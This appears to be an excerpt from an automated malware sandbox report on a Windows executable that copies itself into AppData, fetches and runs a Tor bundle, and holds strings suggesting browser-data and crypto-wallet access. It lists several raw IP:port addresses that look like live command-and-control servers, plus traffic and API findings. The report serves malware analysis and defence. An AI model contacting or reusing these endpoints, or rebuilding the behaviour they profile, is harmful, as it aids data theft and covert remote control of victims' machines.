Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://41.87.207.180:9090
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://46.235.26.83:8080
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://47.96.78.224:8080
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://51.159.4.50:8080
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://65.49.205.24:8080
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://67.230.176.97:8080
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.216.92.21:8080
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.219.110.16:9999
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://8.222.143.111:8080
Source: file.exe, 00000006.00000002.4115442311.000001BF34C80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.v
Source: file.exe, 00000006.00000002.4101217017.000001BF1C323000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com
Source: file.exe, 00000006.00000002.4101217017.000001BF1C323000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line?fields=query
Source: tor-real.exe, 00000009.00000002.4109493020.000000006C5F2000.00000008.00000001.01000000.0000000B.sdmp String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: file.exe, 00000000.00000002.1654569150.0000027500333000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D3453000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B9DB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEE9B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250035B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860035B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: file.exe, 00000000.00000002.1654569150.00000275004AC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: file.exe, 00000000.00000002.1654569150.0000027500333000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D3453000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463BAC8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEF88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500448000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600448000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: file.exe, 00000008.00000002.1731390974.000002463BA23000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEEE3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.00000225003A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.00000286003A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.
Source: file.exe, 00000006.00000002.4101217017.000001BF1C4C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.or
Source: tor-real.exe, 00000009.00000002.4107165629.000000006C1E4000.00000008.00000001.01000000.0000000D.sdmp String found in binary or memory: http://www.zlib.net/D
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://138.2.92.67:443
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://154.9.207.142:443
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://185.217.98.121:443
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://192.99.196.191:443
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://2019.www.torproject.org/docs/faq.html.en#WarningsAboutSOCKSandDNSInformationLeaks.%s
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://2019.www.torproject.org/docs/faq.html.en#WarningsAboutSOCKSandDNSInformationLeaks.%sDANGEROU
Source: file.exe, 00000000.00000002.1654569150.000002750006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000007.00000002.1699786925.00000266D318F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6F1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000008.00000002.1731390974.000002463B6EF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000018.00000002.2321302480.000001C8AEBAF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001A.00000002.2920844127.000002250006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.000002860006F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 0000001B.00000002.3530830962.0000028600071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://5.196.181.135:443
Source: file.exe, 0000001A.00000002.2920844127.0000022500071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://5.196.181.135:443Pk
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relay
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relayCan
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://blog.torproject.org/v2-deprecation-timeline
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://blog.torproject.org/v2-deprecation-timelineCalled
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://bugs.torproject.org/tpo/core/tor/14917.
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://bugs.torproject.org/tpo/core/tor/21155.
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://bugs.torproject.org/tpo/core/tor/8742.
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://freehaven.net/anonbib/#hs-attack06
Source: file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com
Source: file.exe, 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/matinrco/tor/releases/download/v0.4.5.10/tor-expert-bundle-v0.4.5.10.zip
Source: file.exe, 00000006.00000002.4101217017.000001BF1C34D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://node.trezor.io
Source: file.exe, 00000006.00000002.4101217017.000001BF1C1F9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://objects.githubusercontent.com
Source: file.exe, 00000006.00000002.4101217017.000001BF1C1F9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://objects.githubusercontent.com/github-production-release-asset-2e65be/146779096/943f13f9-3eb9
Source: tor-real.exe, 00000009.00000003.1916326469.000000000435C000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.3248988036.0000000003ACA000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.1915818748.0000000003ACA000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.1908440671.0000000004A2D000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000002.4100097290.0000000003ACA000.00000004.00000020.00020000.00000000.sdmp, unverified-microdesc-consensus.tmp.9.dr String found in binary or memory: https://sabotage.net
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2EE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4107605093.000001BF2C2E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000006.00000002.4107605093.000001BF2C25B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000006.00000002.4107605093.000001BF2C237000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000006.00000002.4107605093.000001BF2C25B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000006.00000002.4107605093.000001BF2C237000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000006.00000002.4107605093.000001BF2C274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2EE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4107605093.000001BF2C2E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000006.00000002.4107605093.000001BF2C2F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: tor-real.exe, 00000009.00000002.4107761858.000000006C273000.00000008.00000001.01000000.0000000C.sdmp, tor-real.exe, 00000009.00000002.4109094094.000000006C543000.00000008.00000001.01000000.0000000E.sdmp String found in binary or memory: https://www.openssl.org/H
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://www.torproject.org/
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://www.torproject.org/docs/faq.html#BestOSForRelay
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://www.torproject.org/documentation.html
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://www.torproject.org/download/download#warning
Source: tor-real.exe, 00000009.00000002.4099477766.0000000001206000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://www.torproject.org/download/download#warningalphabetaThis
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49732 version: TLS 1.2

System Summary
barindex
.NET source code contains very large strings
Source: file.exe, d52S.cs Long String: Length: 11394
Source: file.exe.0.dr, d52S.cs Long String: Length: 11394
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8B53E2 NtQueryInformationToken, 6_2_00007FFD9B8B53E2
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8B5455 NtQueryInformationToken, 6_2_00007FFD9B8B5455
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30C2C0 getnameinfo,ntohs,BIO_snprintf,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_free,ERR_put_error,CRYPTO_strdup,CRYPTO_free,ERR_put_error,ERR_add_error_data,CRYPTO_free,CRYPTO_free,__stack_chk_fail,BIO_ADDR_new,CRYPTO_zalloc,ERR_put_error, 9_2_6C30C2C0
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00007FFD9B899A02 0_2_00007FFD9B899A02
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00007FFD9B898C56 0_2_00007FFD9B898C56
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00007FFD9B89304C 0_2_00007FFD9B89304C
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8A8C56 6_2_00007FFD9B8A8C56
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8A9A02 6_2_00007FFD9B8A9A02
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8A304C 6_2_00007FFD9B8A304C
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8B8F1D 6_2_00007FFD9B8B8F1D
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8C1D0E 6_2_00007FFD9B8C1D0E
